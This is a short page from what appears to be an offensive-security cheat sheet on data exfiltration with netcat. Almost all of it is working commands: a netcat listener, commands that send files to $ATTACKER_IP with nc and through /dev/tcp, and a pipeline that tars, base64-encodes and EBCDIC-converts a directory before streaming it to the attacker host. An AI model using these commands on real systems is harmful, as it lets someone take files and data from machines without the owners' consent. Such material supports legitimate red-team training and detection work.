killchain-compendium/Exfiltration/Netcat.md

853 B

Netcat

Receive data via netcats

Receiver

Set up the receiver to store the data out.txt.

nc -lp 8080 > out.txt

Transceiver

The transceiver transfers the file through netcat to the already setup receiver.

nc $ATTACKER_IP 8080 < in.txt

Transceiver tricks

The file out.txt can be send without netcat as well in the following way

cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT

The connection has to be end manually after a while, this won't happen automatically.

Compress and Encode

To save throughput, compress and encode the transmitted data before it is send

tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT

On receiver's side, after out.data has been received

dd conv=ascii if=out.data | base64 -d > out.tar
tar xvf out.tar